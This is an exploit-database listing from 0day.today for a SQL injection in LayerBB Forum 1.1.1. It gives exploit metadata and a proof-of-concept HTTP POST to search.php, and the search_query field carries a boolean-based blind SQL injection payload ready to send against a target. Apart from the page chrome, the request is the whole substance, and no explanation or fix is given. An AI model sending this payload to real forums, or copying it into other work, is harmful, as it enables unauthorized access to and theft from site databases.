[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

LayerBB Forum 1.1.1 - search_query SQL Injection Vulnerability

Author
Ihsan Sencan
Risk
[
Security Risk High
]
0day-ID
0day-ID-31250
Category
web applications
Date add
04-10-2018
Platform
php
# Exploit Title: LayerBB Forum 1.1.1 - 'search_query' SQL Injection
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://layerbb.com/
# Software Link: https://demo.layerbb.com/
# Version: 1.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
 
# POC: 
# 1)
# POST /search.php HTTP/1.1
# Host: Target
 
search_query=S' RLIKE (SELECT (CASE WHEN (111=111) THEN 0x73 ELSE 0x28 END)) AND 'X'='X&search_submit=Search

#  0day.today [2024-11-16]  #